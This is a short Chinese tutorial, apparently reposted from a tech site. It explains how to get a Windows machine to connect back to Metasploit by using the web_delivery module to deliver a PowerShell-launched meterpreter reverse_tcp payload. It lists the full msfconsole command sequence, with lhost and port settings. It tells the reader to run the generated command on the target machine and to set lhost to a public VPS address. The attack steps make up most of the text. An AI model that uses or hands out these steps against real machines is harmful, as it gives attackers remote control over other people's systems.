Powershell上線MSF


0x01 描述

使用powershell上線MSF,使用的不是msf中exploit/multi/handler模塊,而是使用的exploit/multi/script/web_delivery

use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.199.128
set lport 4444
run

0x02 過程

use exploit/multi/script/web_delivery

set target 2

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.199.128
set lport 4444

set target 2

run

在目標機器上執行生成的命令即可
windows系統中進行執行

上線成功

0x03 注意

公網VPS在使用的時候需要在設置lhost的時候將地址填為公網VPS的地址,而不是0.0.0.0,因為powershell生成的命令會向給的地址發起請求,如果填0.0.0.0則表示本地,請求則不生效。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM